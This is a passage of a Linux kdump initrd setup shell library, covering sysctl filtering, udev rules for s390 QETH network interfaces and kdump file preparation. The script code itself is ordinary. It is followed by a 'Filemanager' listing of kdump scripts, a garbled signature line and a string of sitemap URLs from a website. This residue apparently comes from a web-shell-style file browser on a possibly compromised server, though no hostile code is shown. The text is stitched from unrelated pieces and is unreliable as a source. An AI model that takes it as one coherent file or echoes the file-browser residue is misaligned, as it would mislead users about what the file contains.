    for i in "${!kdump_Protocol[@]}"
    do
	[ "${kdump_Protocol[i]}" = "srcfile" ] || continue

	d="${kdump_Realpath[i]}"
	ln -snf "${d#/}" "${root}/kdump/${kdump_URL[i]}"
    done
}									   # }}}

#
# Filter out problematic sysctl settings
# Parameters:
#   1) root:     initrd temporary root
function kdump_filter_sysctl()						   # {{{
{
    local root="$1"

    local restoreopt=$( shopt -p nullglob )
    shopt -s nullglob

    for f in \
	"$root"/boot/sysctl.conf-* \
	"$root"/run/sysctl.d/*.conf \
	"$root"/etc/sysctl.d/*.conf \
	"$root"/usr/local/lib/sysctl.d/*.conf \
	"$root"/usr/lib/sysctl.d/*.conf \
	"$root"/lib/sysctl.d/*.conf \
	"$root"/etc/sysctl.conf
    do
	sed -i -e '/^[ \t]*vm\./d' "$f"
    done

    eval "$restoreopt"
}									   # }}}

#
# Set up a QETH network interface
# Parameters:
#   1) _root:   initrd temporary root
#   2) _iface:  current interface name
#   3) _bootif: interface name in initrd
function kdump_setup_qeth()						   # {{{
{
    local _root="$1"
    local _iface="$2"
    local _bootif="$3"
    local _dev=$( readlink "/sys/class/net/$_iface/device" )
    _dev="${_dev##*/}"
    local _cdev0=$( readlink "/sys/class/net/$_iface/device/cdev0" )
    _cdev0="${_cdev0##*/}"
    local _cdev1=$( readlink "/sys/class/net/$_iface/device/cdev1" )
    _cdev1="${_cdev1##*/}"
    local _cdev2=$( readlink "/sys/class/net/$_iface/device/cdev2" )
    _cdev2="${_cdev2##*/}"
    local _layer2=$(</sys/class/net/$_iface/device/layer2)
    local _portno=$(</sys/class/net/$_iface/device/portno)
    local _type=$(</sys/class/net/$_iface/type)
    local _dev_id _dev_id_match
    if [ "$_layer2" -ne 0 ]
    then
       _dev_id=""$(</sys/class/net/$_iface/dev_id)
       _dev_id_match=", ATTR{dev_id}==\"$_dev_id\""
    fi

    cat >"${_root}/etc/udev/rules.d/51-qeth-${_dev}.rules" <<EOF
ACTION=="add", SUBSYSTEM=="drivers", KERNEL=="qeth", IMPORT{program}="collect $_dev %k $_cdev0 $_cdev1 $_cdev2 qeth"
ACTION=="add", SUBSYSTEM=="ccw", KERNEL=="$_cdev0", IMPORT{program}="collect $_dev %k $_cdev0 $_cdev1 $_cdev2 qeth"
ACTION=="add", SUBSYSTEM=="ccw", KERNEL=="$_cdev1", IMPORT{program}="collect $_dev %k $_cdev0 $_cdev1 $_cdev2 qeth"
ACTION=="add", SUBSYSTEM=="ccw", KERNEL=="$_cdev2", IMPORT{program}="collect $_dev %k $_cdev0 $_cdev1 $_cdev2 qeth"
ACTION=="remove", SUBSYSTEM=="drivers", KERNEL=="qeth", IMPORT{program}="collect --remove $_dev %k $_cdev0 $_cdev1 $_cdev2 qeth"
ACTION=="remove", SUBSYSTEM=="ccw", KERNEL=="$_cdev0", IMPORT{program}="collect --remove $_dev %k $_cdev0 $_cdev1 $_cdev2 qeth"
ACTION=="remove", SUBSYSTEM=="ccw", KERNEL=="$_cdev1", IMPORT{program}="collect --remove $_dev %k $_cdev0 $_cdev1 $_cdev2 qeth"
ACTION=="remove", SUBSYSTEM=="ccw", KERNEL=="$_cdev2", IMPORT{program}="collect --remove $_dev %k $_cdev0 $_cdev1 $_cdev2 qeth"
TEST=="[ccwgroup/$_dev]", GOTO="qeth-${_dev}-end"
ACTION=="add", SUBSYSTEM=="ccw", ENV{COLLECT_$_dev}=="0", ATTR{[drivers/ccwgroup:qeth]group}="$_cdev0,$_cdev1,$_cdev2"
ACTION=="add", SUBSYSTEM=="drivers", KERNEL=="qeth", ENV{COLLECT_$_dev}=="0", ATTR{[drivers/ccwgroup:qeth]group}="$_cdev0,$_cdev1,$_cdev2"
LABEL="qeth-$_dev-end"
ACTION=="add", SUBSYSTEM=="ccwgroup", KERNEL=="$_dev", ATTR{portno}="$_portno"
ACTION=="add", SUBSYSTEM=="ccwgroup", KERNEL=="$_dev", ATTR{layer2}="$_layer2"
ACTION=="add", SUBSYSTEM=="ccwgroup", KERNEL=="$_dev", ATTR{online}="1"
EOF

    cat >"${_root}/etc/udev/rules.d/70-persistent-net-${_bootif}.rules" <<EOF
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="qeth"$_dev_id_match, KERNELS=="$_dev", ATTR{type}=="$_type", NAME="$_bootif"
EOF
}									   # }}}

#
# Set up hardware network interfaces
# Parameters:
#   1) _root:   initrd temporary root
# Input variables:
#   kdump_ifmap  hardware network interface map
function kdump_setup_hwif()						   # {{{
{
    local _root="$1"
    local _spec _iface _bootif _drv

    for _spec in $kdump_ifmap
    do
	_iface="${_spec%:*}"
	_bootif="${_spec##*:}"
	_drv=$( readlink "/sys/class/net/$_iface/device/driver" )
	case "$_drv" in
	    */qeth)
		kdump_setup_qeth "$_root" "$_iface" "$_bootif"
		;;
	esac
    done
}									   # }}}

#
# Set up or create all necessary files
# Parameters:
#   1) outdir:    initrd temporary root
#   2) mpathdevs: space-separated list of all multipath devices required
#                 by kdump (using multipath.conf syntax)
# Input variables:
#   KDUMP_*      see kdump_get_config
#   kdump_mnt[]  mountpoints in kdump environment
#   kdump_ifmap  hardware network interface map
# Output variables:
#   KDUMP_REQUIRED_PROGRAMS updated as necessary
function kdump_setup_files()						   # {{{
{
    local outdir="${1%/}"
    local mpathdevs="$2"
    local kdump_over_ssh

    #
    # initialize the /kdump hierarchy
    #
    kdump_init_dirs "$outdir"

    #
    # create target configuration
    #
    mkdir -p "${outdir}${KDUMP_CONFIG%/*}"
    kdump_modify_config "$outdir"

    #
    # remember the host name
    #
    hostname >> "${outdir}/etc/hostname.kdump"

    #
    # copy public and private key if needed
    #
    if [ -n "$kdump_over_ssh" ] ; then
	kdump_init_ssh "$outdir"
    fi

    #
    # create modified multipath.conf
    #
    kdump_modify_multipath "$mpathdevs" > "${outdir}/etc/multipath.conf.kdump"

    #
    # filter out problematic sysctl settings
    #
    kdump_filter_sysctl "$outdir"

    #
    # set up hardware interfaces
    #
    kdump_setup_hwif "$outdir"

    return 0
}									   # }}}

Filemanager

Name Type Size Permission Actions
load-once.sh File 562 B 0755
load.sh File 9.8 KB 0755
save_dump.sh File 6.73 KB 0755
setup-kdump.functions File 33.51 KB 0644
unload.sh File 491 B 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml